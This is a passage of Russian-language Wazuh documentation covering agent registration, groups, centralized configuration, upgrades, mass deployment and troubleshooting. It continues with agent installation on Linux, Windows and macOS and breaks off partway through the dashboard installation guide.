### Регистрация через authd

Демон authd автоматически обрабатывает запросы на регистрацию. Он включен по умолчанию и слушает порт 1515/TCP.

```bash
# На агенте - запрос регистрации
/var/ossec/bin/agent-auth -m 192.168.1.5

# С указанием имени и группы
/var/ossec/bin/agent-auth -m 192.168.1.5 -A "custom-agent-name" -G "linux,production"

# С паролем
/var/ossec/bin/agent-auth -m 192.168.1.5 -P "MySecurePassword"
```

## Группы агентов

Группы позволяют организовать агентов логически и применять централизованную конфигурацию.

### Группа по умолчанию

Все вновь зарегистрированные агенты автоматически попадают в группу `default`. Конфигурация группы находится в `/var/ossec/etc/shared/default/agent.conf`.

### Создание группы

Через CLI:

```bash
/var/ossec/bin/agent_groups -a -g web-servers -q
```

Через API:

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X POST "https://localhost:55000/groups" \
  -H "Content-Type: application/json" \
  -d '{"group_id": "web-servers"}'
```

Через Dashboard: Agents management - Groups - Add new group.

### Назначение агента в группу

```bash
# Через CLI
/var/ossec/bin/agent_groups -a -i 001 -g web-servers -q

# Через API
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/001/group/web-servers"
```

### Назначение при регистрации

```bash
# При использовании agent-auth
/var/ossec/bin/agent-auth -m 192.168.1.5 -G "web-servers,linux"

# При установке на Windows
msiexec.exe /i wazuh-agent.msi /q WAZUH_AGENT_GROUP="windows,production"
```

### Мультигруппы

Агент может принадлежать нескольким группам одновременно. При конфликте параметров приоритет имеет последняя назначенная группа.

```bash
# Назначение в несколько групп
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/001/group/web-servers"

curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/001/group/production"
```

Порядок приоритета (от низшего к высшему): `default` - `web-servers` - `production`. Конфигурация группы `production` перезапишет конфликтующие параметры из `web-servers` и `default`.

### Просмотр групп агента

```bash
# Группы конкретного агента
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents/001/group" | jq '.data.affected_items'

# Все агенты в группе
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/groups/web-servers/agents" | jq '.data.affected_items[] | {id,name,status}'
```

## Централизованная конфигурация (agent.conf)

Файл `agent.conf` позволяет централизованно управлять конфигурацией агентов через менеджер. Каждая группа имеет свой `agent.conf` в `/var/ossec/etc/shared/<GROUP_NAME>/agent.conf`.

### Структура agent.conf

```xml
<!-- /var/ossec/etc/shared/web-servers/agent.conf -->
<agent_config>

  <!-- Сбор логов веб-сервера -->
  <localfile>
    <log_format>apache</log_format>
    <location>/var/log/apache2/access.log</location>
  </localfile>

  <localfile>
    <log_format>apache</log_format>
    <location>/var/log/apache2/error.log</location>
  </localfile>

  <!-- Мониторинг целостности файлов -->
  <syscheck>
    <directories check_all="yes" realtime="yes">/var/www/html</directories>
    <directories check_all="yes">/etc/apache2</directories>
  </syscheck>

  <!-- Active Response -->
  <active-response>
    <disabled>no</disabled>
  </active-response>

</agent_config>
```

### Фильтрация по ОС

```xml
<agent_config os="Linux">
  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/auth.log</location>
  </localfile>
</agent_config>

<agent_config os="Windows">
  <localfile>
    <log_format>eventchannel</log_format>
    <location>Security</location>
    <query>Event/System[EventID=4625 or EventID=4624]</query>
  </localfile>
</agent_config>
```

### Фильтрация по профилю

```xml
<agent_config profile="database">
  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/postgresql/postgresql-*.log</location>
  </localfile>
</agent_config>
```

### Общие файлы (shared files)

Помимо `agent.conf`, директория группы может содержать дополнительные файлы, которые автоматически синхронизируются на агентов:

- CDB-списки для rootcheck
- CIS Benchmark файлы
- Кастомные файлы конфигурации

```bash
# Размещение файла для группы
cp custom-rootcheck.txt /var/ossec/etc/shared/web-servers/

# Проверка синхронизации
/var/ossec/bin/agent_groups -S -i 001
```

### Слияние конфигурации (merged.mg)

Менеджер автоматически генерирует файл `merged.mg`, который объединяет конфигурации всех групп агента. Этот файл отправляется агенту и определяет итоговую конфигурацию.

## Обновление агентов

### Обновление через WPK

WPK (Wazuh Package) - подписанные пакеты для удаленного обновления агентов.

Через API:

```bash
# Обновление одного агента
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/001/upgrade" | jq '.'

# Обновление всех агентов в группе
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/upgrade" \
  -H "Content-Type: application/json" \
  -d '{"agents_list": ["001", "002", "003"]}'
```

### Проверка статуса обновления

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents/upgrade_result" | jq '.data.affected_items'
```

### Обновление через Dashboard

1. Перейдите в Agents management
2. Выберите агентов для обновления
3. Нажмите Upgrade
4. Подтвердите версию и запустите процесс

### Планирование обновлений

Для минимизации воздействия на продуктивные системы обновляйте агентов группами:

```bash
# Обновление агентов в группе staging
AGENTS=$(curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/groups/staging/agents?limit=500" | \
  jq -r '.data.affected_items[].id' | tr '\n' ',' | sed 's/,$//')

curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/upgrade" \
  -H "Content-Type: application/json" \
  -d "{\"agents_list\": [\"${AGENTS}\"]}"
```

### Кастомные WPK-пакеты

Для создания собственных WPK:

```bash
# Загрузка инструментов сборки
git clone https://github.com/wazuh/wazuh.git
cd wazuh/src/wazuh_modules/agent_upgrade/

# Сборка кастомного WPK (требуется GPG-ключ для подписи)
```

## Метки агентов (labels)

Метки позволяют добавлять кастомные метаданные к агентам. Метки включаются в каждый алерт, что упрощает фильтрацию и маршрутизацию.

### Настройка меток

На агенте в `ossec.conf`:

```xml
<ossec_config>
  <labels>
    <label key="environment">production</label>
    <label key="datacenter">us-east-1</label>
    <label key="team">platform</label>
    <label key="cost-center">CC-1234</label>
  </labels>
</ossec_config>
```

Через централизованную конфигурацию в `agent.conf`:

```xml
<agent_config>
  <labels>
    <label key="compliance">pci-dss</label>
    <label key="tier">tier-1</label>
  </labels>
</agent_config>
```

### Скрытые метки

Метки с префиксом `_` не отображаются в алертах, но доступны через API:

```xml
<labels>
  <label key="_internal.ticket">JIRA-12345</label>
</labels>
```

### Использование в запросах

```json
GET wazuh-alerts-*/_search
{
  "query": {
    "term": { "agent.labels.environment": "production" }
  }
}
```

## Управление ключами

### Экспорт ключа агента

```bash
/var/ossec/bin/manage_agents -e 001
```

### Импорт ключа на агенте

```bash
/var/ossec/bin/manage_agents -i "<KEY_STRING>"
```

### Список зарегистрированных агентов

```bash
/var/ossec/bin/manage_agents -l
```

### Удаление агента

```bash
# Через CLI
/var/ossec/bin/manage_agents -r 001

# Через API
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X DELETE "https://localhost:55000/agents?agents_list=001&status=all&older_than=0s"
```

## Массовое развертывание

### Ansible

```yaml
# playbook.yml
---
- name: Deploy Wazuh agents
  hosts: all
  become: yes
  vars:
    wazuh_manager: "192.168.1.5"
    wazuh_version: "4.14.4"
    wazuh_group: "{{ group_names | join(',') }}"

  tasks:
    - name: Add Wazuh repository
      apt_repository:
        repo: "deb https://packages.wazuh.com/4.x/apt/ stable main"
        state: present
      when: ansible_os_family == "Debian"

    - name: Install Wazuh agent
      apt:
        name: "wazuh-agent={{ wazuh_version }}-1"
        state: present
      when: ansible_os_family == "Debian"

    - name: Configure agent
      template:
        src: ossec.conf.j2
        dest: /var/ossec/etc/ossec.conf
        owner: root
        group: wazuh
        mode: '0640'

    - name: Start Wazuh agent
      systemd:
        name: wazuh-agent
        state: started
        enabled: yes
```

### GPO с MSI (Windows)

Для массового развертывания на Windows через Group Policy:

1. Скачайте MSI-пакет: `wazuh-agent-4.14.4-1.msi`
2. Разместите в сетевой папке, доступной для компьютеров домена
3. Создайте GPO для Software Installation:
   - Computer Configuration - Policies - Software Settings - Software Installation
   - Добавьте MSI-пакет
4. Настройте параметры установки через MST-файл (transform):

```
WAZUH_MANAGER=192.168.1.5
WAZUH_AGENT_GROUP=windows,production
WAZUH_REGISTRATION_SERVER=192.168.1.5
WAZUH_REGISTRATION_PASSWORD=MySecurePassword
```

### cloud-init

```yaml
#cloud-config
package_update: true

runcmd:
  - curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --dearmor -o /usr/share/keyrings/wazuh.gpg
  - echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" > /etc/apt/sources.list.d/wazuh.list
  - apt-get update
  - WAZUH_MANAGER="192.168.1.5" WAZUH_AGENT_GROUP="cloud,auto-provisioned" apt-get install -y wazuh-agent
  - systemctl daemon-reload
  - systemctl enable wazuh-agent
  - systemctl start wazuh-agent
```

### Docker

```dockerfile
FROM ubuntu:22.04

ENV WAZUH_MANAGER="192.168.1.5"
ENV WAZUH_AGENT_GROUP="docker,containers"

RUN apt-get update && \
    apt-get install -y curl gnupg && \
    curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | \
      gpg --dearmor -o /usr/share/keyrings/wazuh.gpg && \
    echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \
      > /etc/apt/sources.list.d/wazuh.list && \
    apt-get update && \
    apt-get install -y wazuh-agent && \
    apt-get clean

ENTRYPOINT ["/var/ossec/bin/wazuh-control", "start"]
```

## Автоматическое удаление отключенных агентов

Для автоматической очистки агентов, которые давно не подключались:

```bash
# Удаление агентов, отключенных более 30 дней
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X DELETE "https://localhost:55000/agents?status=disconnected&older_than=30d" | jq '.'
```

Для автоматизации добавьте в cron:

```bash
# /etc/cron.daily/wazuh-cleanup-agents
#!/bin/bash
TOKEN=$(curl -sk -u wazuh-wui:$PASSWORD \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X DELETE "https://localhost:55000/agents?status=disconnected&older_than=30d"
```

## Сравнение с другими SIEM-системами

| Функция | Wazuh Agent | Splunk Universal Forwarder | Elastic Agent (Fleet) | QRadar Log Sources |
|---|---|---|---|---|
| Модель развертывания | Agent на каждый хост | Forwarder на каждый хост | Agent на каждый хост | Agentless + WinCollect |
| Управление группами | Группы с agent.conf | Server classes | Policies | Log Source Groups |
| Централизованная конфигурация | agent.conf через менеджер | Deployment apps | Fleet policies | Нет (per-source) |
| Удаленное обновление | WPK через API | Deployment server | Fleet upgrade | WinCollect update |
| FIM встроен | Да | Нет (addon) | Да (integration) | Нет (addon) |
| Vulnerability scan | Да | Нет | Да | Нет |
| Массовое развертывание | Ansible, GPO, cloud-init | Ansible, GPO, SCCM | Fleet enrollment tokens | WinCollect MSI |
| Лицензирование | Бесплатно | По объему данных | По объему данных | Per EPS |

## Устранение неполадок

### Агент не подключается

**Симптом**: агент остается в статусе `never_connected` или `disconnected`.

Диагностика на агенте:

```bash
# Проверка конфигурации
cat /var/ossec/etc/ossec.conf | grep -A5 "<server>"

# Проверка логов агента
tail -50 /var/ossec/logs/ossec.log

# Проверка сетевого подключения
nc -zv 192.168.1.5 1514
nc -zv 192.168.1.5 1515
```

Диагностика на менеджере:

```bash
# Проверка логов регистрации
tail -50 /var/ossec/logs/ossec.log | grep -i "agent"

# Проверка, что authd слушает порт
ss -tlnp | grep 1515

# Проверка, что remoted слушает порт
ss -tlnp | grep 1514
```

Решения:

- Убедитесь, что порты 1514/TCP и 1515/TCP открыты на файрволе
- Проверьте правильность адреса менеджера в конфигурации агента
- При использовании пароля убедитесь, что он совпадает на обеих сторонах
- Перезапустите `wazuh-authd` на менеджере

### Несовпадение ключей (key mismatch)

**Симптом**: сообщение `Invalid key` или `Agent key mismatch` в логах.

```bash
# На менеджере - экспорт ключа для агента
/var/ossec/bin/manage_agents -e 001

# На агенте - удалить старый ключ и импортировать новый
/var/ossec/bin/manage_agents -r
/var/ossec/bin/manage_agents -i "<NEW_KEY>"

# Перезапуск агента
systemctl restart wazuh-agent
```

### Несовместимость версий

**Симптом**: агент подключается, но функциональность ограничена или появляются ошибки.

Wazuh поддерживает обратную совместимость в пределах мажорной версии. Агент 4.x может подключаться к менеджеру 4.y, где y >= x. Обновите агент до версии менеджера для полной совместимости.

```bash
# Проверка версии на агенте
/var/ossec/bin/wazuh-control info | grep VERSION

# Проверка версии на менеджере
/var/ossec/bin/wazuh-control info | grep VERSION
```

### Дублирующиеся агенты

**Симптом**: один хост зарегистрирован несколько раз с разными ID.

```bash
# Поиск дубликатов по IP или имени
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?name=web-server-01" | jq '.data.affected_items[] | {id,name,ip,status}'

# Удаление дублирующегося агента
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X DELETE "https://localhost:55000/agents?agents_list=002&status=all&older_than=0s"
```

Предотвращение: используйте `force.enabled` в конфигурации authd:

```xml
<ossec_config>
  <auth>
    <force>
      <enabled>yes</enabled>
      <key_mismatch>yes</key_mismatch>
      <disconnected_time enabled="yes">1h</disconnected_time>
      <after_registration_time>1h</after_registration_time>
    </force>
  </auth>
</ossec_config>
```

Это позволит агенту с тем же IP или именем заменить существующую регистрацию, если старый агент отключен более 1 часа.

### Агент не получает конфигурацию группы

**Симптом**: изменения в `agent.conf` не применяются на агенте.

```bash
# Проверка синхронизации
/var/ossec/bin/agent_groups -S -i 001

# Проверка файла merged.mg на агенте
cat /var/ossec/etc/shared/merged.mg

# Принудительная синхронизация - перезапуск агента
systemctl restart wazuh-agent
```

Убедитесь, что `agent.conf` валиден - некорректный XML блокирует синхронизацию.

## Дополнительные материалы

- [Установка Wazuh Agent](/docs/wazuh/installation/wazuh-agent-installation/) - установка агентов на различные ОС
- [Настройка Wazuh Dashboard](/docs/wazuh/infrastructure/wazuh-dashboard-configuration/) - мониторинг агентов через веб-интерфейс
- [Wazuh Indexer API](/docs/wazuh/infrastructure/wazuh-indexer-api/) - запросы к данным агентов
- [Сбор логов](/docs/wazuh/capabilities/wazuh-log-data-collection/) - настройка источников данных на агентах


---

# Установка Wazuh Agent 4.14 - Linux, Windows, macOS

Source: https://opennix.org/docs/wazuh/installation/wazuh-agent-installation/


Wazuh Agent - это легковесный компонент, устанавливаемый на контролируемых конечных точках. Агент собирает данные о событиях безопасности, выполняет локальные проверки и передает результаты на [Wazuh Server](/docs/wazuh/installation/wazuh-server-installation/) для анализа. Данное руководство описывает установку агента на Linux, Windows и macOS.

## Совместимость версий

Версия агента должна быть равна или ниже версии Wazuh Manager. Агент 4.14 совместим с менеджером 4.14 и выше. Обратная совместимость не гарантирована - не устанавливайте агент версии выше, чем версия менеджера.

## Переменные развертывания

При установке агента можно задать параметры подключения через переменные окружения:

| Переменная | Описание | Пример |
|---|---|---|
| `WAZUH_MANAGER` | IP-адрес или hostname менеджера | `10.0.0.2` |
| `WAZUH_AGENT_NAME` | Имя агента (отображается в дашборде) | `web-server-01` |
| `WAZUH_AGENT_GROUP` | Группа агента для централизованного управления | `linux-servers` |
| `WAZUH_REGISTRATION_PASSWORD` | Пароль для авторизованной регистрации | `MyPassword` |

## Установка на Linux (DEB - Ubuntu/Debian)

### Добавление репозитория

```bash
apt-get install gnupg apt-transport-https
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring \
  --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \
  | tee -a /etc/apt/sources.list.d/wazuh.list
apt-get update
```

### Установка пакета

```bash
WAZUH_MANAGER="<IP_МЕНЕДЖЕРА>" apt-get install wazuh-agent
```

С дополнительными параметрами:

```bash
WAZUH_MANAGER="<IP_МЕНЕДЖЕРА>" \
WAZUH_AGENT_NAME="web-server-01" \
WAZUH_AGENT_GROUP="linux-servers" \
apt-get install wazuh-agent
```

### Запуск службы

```bash
systemctl daemon-reload
systemctl enable wazuh-agent
systemctl start wazuh-agent
```

## Установка на Linux (RPM - CentOS/RHEL)

### Добавление репозитория

**CentOS / RHEL 8 и ранее (YUM):**

```bash
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
cat > /etc/yum.repos.d/wazuh.repo << EOF
[wazuh]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH
enabled=1
name=EL-\$releasever - Wazuh
baseurl=https://packages.wazuh.com/4.x/yum/
protect=1
EOF
```

**RHEL 9+ / CentOS Stream 10 (DNF):**

```bash
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
cat > /etc/yum.repos.d/wazuh.repo << EOF
[wazuh]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH
enabled=1
name=EL-\$releasever - Wazuh
baseurl=https://packages.wazuh.com/4.x/yum/
priority=1
EOF
```

### Установка пакета

```bash
WAZUH_MANAGER="<IP_МЕНЕДЖЕРА>" yum install wazuh-agent
```

Или через DNF:

```bash
WAZUH_MANAGER="<IP_МЕНЕДЖЕРА>" dnf install wazuh-agent
```

### Запуск службы

```bash
systemctl daemon-reload
systemctl enable wazuh-agent
systemctl start wazuh-agent
```

Для систем без systemd:

```bash
chkconfig --add wazuh-agent
service wazuh-agent start
```

## Установка на Windows

### Загрузка пакета

Скачайте MSI-инсталлятор:

```
https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.4-1.msi
```

### Тихая установка (CMD)

```cmd
wazuh-agent-4.14.4-1.msi /q WAZUH_MANAGER="<IP_МЕНЕДЖЕРА>"
```

С дополнительными параметрами:

```cmd
wazuh-agent-4.14.4-1.msi /q WAZUH_MANAGER="<IP_МЕНЕДЖЕРА>" WAZUH_AGENT_NAME="win-desktop-01" WAZUH_AGENT_GROUP="windows-workstations"
```

### Тихая установка (PowerShell)

```powershell
.\wazuh-agent-4.14.4-1.msi /q WAZUH_MANAGER="<IP_МЕНЕДЖЕРА>"
```

### Запуск службы

**CMD:**

```cmd
NET START WazuhSvc
```

**PowerShell:**

```powershell
Start-Service wazuhsvc
```

### Путь установки

Агент устанавливается в `C:\Program Files (x86)\ossec-agent\`.

## Установка на macOS

### Загрузка пакета

**Apple Silicon (M1/M2/M3/M4):**

```
https://packages.wazuh.com/4.x/macos/wazuh-agent-4.14.4-1.arm64.pkg
```

**Intel:**

```
https://packages.wazuh.com/4.x/macos/wazuh-agent-4.14.4-1.intel64.pkg
```

### Установка

**Apple Silicon:**

```bash
echo "WAZUH_MANAGER='<IP_МЕНЕДЖЕРА>'" > /tmp/wazuh_envs && \
sudo installer -pkg wazuh-agent-4.14.4-1.arm64.pkg -target /
```

**Intel:**

```bash
echo "WAZUH_MANAGER='<IP_МЕНЕДЖЕРА>'" > /tmp/wazuh_envs && \
sudo installer -pkg wazuh-agent-4.14.4-1.intel64.pkg -target /
```

С дополнительными параметрами:

```bash
echo "WAZUH_MANAGER='<IP_МЕНЕДЖЕРА>' WAZUH_AGENT_NAME='mac-dev-01' WAZUH_AGENT_GROUP='macos-workstations'" > /tmp/wazuh_envs && \
sudo installer -pkg wazuh-agent-4.14.4-1.arm64.pkg -target /
```

### Запуск службы

```bash
sudo launchctl bootstrap system /Library/LaunchDaemons/com.wazuh.agent.plist
```

### Путь установки

Агент устанавливается в `/Library/Ossec/`.

## Методы регистрации

### Регистрация по IP менеджера

Основной метод - указание IP-адреса менеджера через переменную `WAZUH_MANAGER` при установке. Агент автоматически подключается к менеджеру и запрашивает ключ аутентификации.

### Регистрация с паролем

Для ограничения регистрации только авторизованными агентами настройте пароль на менеджере:

```bash
echo "MyRegistrationPassword" > /var/ossec/etc/authd.pass
chmod 640 /var/ossec/etc/authd.pass
chown root:wazuh /var/ossec/etc/authd.pass
systemctl restart wazuh-manager
```

При установке агента укажите пароль:

```bash
WAZUH_MANAGER="<IP_МЕНЕДЖЕРА>" \
WAZUH_REGISTRATION_PASSWORD="MyRegistrationPassword" \
apt-get install wazuh-agent
```

### Ручная регистрация после установки

Если агент установлен без указания менеджера, настройте подключение вручную.

Отредактируйте `/var/ossec/etc/ossec.conf` (Linux/macOS) или `C:\Program Files (x86)\ossec-agent\ossec.conf` (Windows):

```xml
<client>
  <server>
    <address><IP_МЕНЕДЖЕРА></address>
    <port>1514</port>
    <protocol>tcp</protocol>
  </server>
</client>
```

Перезапустите агент после изменения конфигурации.

## Ключевые секции конфигурации агента

Файл `ossec.conf` агента содержит основные параметры работы:

| Секция | Описание |
|---|---|
| `<client>` | Адрес и порт менеджера, протокол подключения |
| `<syscheck>` | Мониторинг целостности файлов - директории, частота, исключения |
| `<rootcheck>` | Обнаружение руткитов |
| `<localfile>` | Локальные лог-файлы для мониторинга |
| `<active-response>` | Настройки автоматического реагирования |
| `<labels>` | Пользовательские метки агента |

## Массовое развертывание

### Ansible

Используйте роль `wazuh-agent` из официальной коллекции:

```yaml
- hosts: all
  roles:
    - role: wazuh-agent
      wazuh_manager_ip: "<IP_МЕНЕДЖЕРА>"
      wazuh_agent_group: "linux-servers"
```

### Group Policy (Windows)

Для развертывания через GPO:

1. Поместите MSI-пакет в сетевую папку, доступную целевым компьютерам
2. Создайте GPO с назначением программного обеспечения (Computer Configuration - Software Installation)
3. Используйте трансформацию MST для указания параметров `WAZUH_MANAGER` и `WAZUH_AGENT_GROUP`

### SCCM / Intune

Создайте пакет развертывания с командной строкой:

```cmd
msiexec /i wazuh-agent-4.14.4-1.msi /q WAZUH_MANAGER="<IP_МЕНЕДЖЕРА>" WAZUH_AGENT_GROUP="windows-workstations"
```

### Скрипт массового развертывания (Linux)

Пример скрипта для развертывания через SSH:

```bash
#!/bin/bash
MANAGER_IP="10.0.0.2"
HOSTS="host1 host2 host3"

for HOST in $HOSTS; do
  ssh root@$HOST "
    curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring \
      --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && \
      chmod 644 /usr/share/keyrings/wazuh.gpg && \
    echo 'deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main' \
      | tee /etc/apt/sources.list.d/wazuh.list && \
    apt-get update && \
    WAZUH_MANAGER='$MANAGER_IP' apt-get -y install wazuh-agent && \
    systemctl daemon-reload && systemctl enable wazuh-agent && systemctl start wazuh-agent
  "
done
```

## Проверка подключения

### На агенте

```bash
# Linux / macOS
/var/ossec/bin/wazuh-control status

# Windows (CMD, от имени администратора)
"C:\Program Files (x86)\ossec-agent\wazuh-control.exe" status
```

### На сервере

```bash
/var/ossec/bin/agent_control -l
```

Или через REST API:

```bash
TOKEN=$(curl -sk -u wazuh-wui:<WUI_PASSWORD> \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?status=active&limit=10" | python3 -m json.tool
```

## Устранение неполадок

### Агент не подключается к менеджеру

1. Проверьте доступность портов 1514 и 1515 на менеджере:
   ```bash
   nc -zv <IP_МЕНЕДЖЕРА> 1514
   nc -zv <IP_МЕНЕДЖЕРА> 1515
   ```

2. Проверьте лог агента:
   ```bash
   cat /var/ossec/logs/ossec.log | tail -30    # Linux/macOS
   type "C:\Program Files (x86)\ossec-agent\ossec.log"  # Windows
   ```

3. Убедитесь, что IP менеджера корректно указан в `ossec.conf`

### Ошибка аутентификации

- Убедитесь, что пароль регистрации совпадает на агенте и менеджере
- Проверьте лог менеджера: `cat /var/ossec/logs/ossec.log | grep -i "error\|auth"`
- При необходимости удалите агент с менеджера и повторите регистрацию:
  ```bash
  /var/ossec/bin/manage_agents -r <AGENT_ID>
  ```

### Несовпадение версий

Если версия агента выше версии менеджера, агент может работать некорректно. Проверьте версии:

```bash
# На агенте
/var/ossec/bin/wazuh-control info | grep version

# На менеджере
/var/ossec/bin/wazuh-control info | grep version
```

### Агент не отправляет данные

- Проверьте статус службы:
  ```bash
  systemctl status wazuh-agent    # Linux
  sc query WazuhSvc               # Windows
  ```
- Убедитесь, что агент зарегистрирован: проверьте наличие файла `/var/ossec/etc/client.keys`
- Перезапустите агент:
  ```bash
  systemctl restart wazuh-agent   # Linux
  NET STOP WazuhSvc && NET START WazuhSvc  # Windows
  ```

## Отключение автоматических обновлений

**Ubuntu / Debian:**

```bash
sed -i "s/^deb /#deb /" /etc/apt/sources.list.d/wazuh.list
apt-get update
```

**CentOS / RHEL:**

```bash
sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo
```

## Дальнейшие шаги

- [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/) - понимание взаимодействия компонентов
- [Компоненты Wazuh](/docs/wazuh/getting-started/wazuh-components/) - подробное описание агента и сервера
- [Удаление Wazuh](/docs/wazuh/installation/wazuh-uninstalling/) - корректное удаление агента


---

# Установка Wazuh Dashboard 4.14 - пошаговое руководство

Source: https://opennix.org/docs/wazuh/installation/wazuh-dashboard-installation/


Wazuh Dashboard - это веб-интерфейс управления платформой, построенный на основе OpenSearch Dashboards. Через дашборд администраторы получают доступ к оповещениям, визуализациям, управлению агентами и настройкам безопасности. Перед установкой дашборда необходимо завершить [установку Wazuh Indexer](/docs/wazuh/installation/wazuh-indexer-installation/) и [установку Wazuh Server](/docs/wazuh/installation/wazuh-server-installation/).

## Предварительные требования

### Аппаратные требования

| Параметр | Минимум | Рекомендация |
|---|---|---|
| CPU | 2 ядра | 4 ядра |
| RAM | 2 ГБ | 8 ГБ |
| Диск | 20 ГБ | 20 ГБ |

### Сетевые требования

| Порт | Назначение |
|---|---|
| 443/TCP | Веб-интерфейс (HTTPS) |
| 9200/TCP | Подключение к Wazuh Indexer |

### Зависимости

- Работающий [Wazuh Indexer](/docs/wazuh/installation/wazuh-indexer-installation/)
- Работающий [Wazuh Server](/docs/wazuh/installation/wazuh-server-installation/)
- Файл `wazuh-certificates.tar` с сертификатами

## Добавление репозитория

### Ubuntu / Debian

```bash
apt-get install gnupg apt-transport-https
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring \
  --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \
  | tee -a /etc/apt/sources.list.d/wazuh.list
apt-get update
```

### CentOS / RHEL 8 и ранее (YUM)

```bash
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
echo -e '[wazuh]\ngpgcheck=1\ngpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH\nenabled=1\nname=EL-$releasever - Wazuh\nbaseurl=https://packages.wazuh.com/4.x/yum/\nprotect=1' \
  | tee /etc/yum.repos.d/wazuh.repo
```

### RHEL 9+ / CentOS Stream 10 (DNF)

```bash
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
echo -e '[wazuh]\ngpgcheck=1\ngpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH\nenabled=1\nname=EL-$releasever - Wazuh\nbaseurl=https://packages.wazuh.com/4.x/yum/\npriority=1' \
  | tee /etc/yum.repos.d/wazuh.repo
```

## Установка зависимостей и пакета

### Ubuntu / Debian

```bash
apt-get install debhelper tar curl libcap2-bin
apt-get -y install wazuh-dashboard
```

### CentOS / RHEL 8 и ранее

```bash
yum install libcap
yum -y install wazuh-dashboard
```

### RHEL 9+ / CentOS Stream 10

```bash
dnf install libcap
dnf -y install wazuh-dashboard
```

## Настройка opensearch_dashboards.yml

Отредактируйте файл `/etc/wazuh-dashboard/opensearch_dashboards.yml`:

```yaml
server.host: 0.0.0.0
server.port: 443
opensearch.hosts: https://localhost:9200
opensearch.ssl.verificationMode: certificate
```

### Ключевые параметры

| Параметр | Описание | Значение по умолчанию |
|---|---|---|
| `server.host` | IP-адрес или `0.0.0.0` для приема соединений со всех интерфейсов | `0.0.0.0` |
| `server.port` | Порт веб-интерфейса | `443` |
| `opensearch.hosts` | URL индексатора (или массив URL для кластера) | `https://localhost:9200` |
| `opensearch.ssl.verificationMode` | Режим проверки TLS-сертификата | `certificate` |

Для подключения к кластеру индексаторов укажите несколько адресов:

```yaml
opensearch.hosts:
  - https://<IP_ИНДЕКСАТОРА_1>:9200
  - https://<IP_ИНДЕКСАТОРА_2>:9200
  - https://<IP_ИНДЕКСАТОРА_3>:9200
```

Если дашборд установлен на отдельном хосте от индексатора, замените `localhost` на IP-адрес индексатора.

## Развертывание сертификатов

```bash
NODE_NAME=dashboard

mkdir /etc/wazuh-dashboard/certs
tar -xf ./wazuh-certificates.tar -C /etc/wazuh-dashboard/certs/ \
  ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./root-ca.pem

[ ! -e /etc/wazuh-dashboard/certs/dashboard.pem ] && \
  mv -n /etc/wazuh-dashboard/certs/$NODE_NAME.pem /etc/wazuh-dashboard/certs/dashboard.pem
[ ! -e /etc/wazuh-dashboard/certs/dashboard-key.pem ] && \
  mv -n /etc/wazuh-dashboard/certs/$NODE_NAME-key.pem /etc/wazuh-dashboard/certs/dashboard-key.pem

chmod 500 /etc/wazuh-dashboard/certs
chmod 400 /etc/wazuh-dashboard/certs/*
chown -R wazuh-dashboard:wazuh-dashboard /etc/wazuh-dashboard/certs
```

Замените `dashboard` на имя узла дашборда, указанное в `config.yml` при генерации сертификатов.

## Запуск службы

```bash
systemctl daemon-reload
systemctl enable wazuh-dashboard
systemctl start wazuh-dashboard
```

## Настройка подключения к Wazuh Server

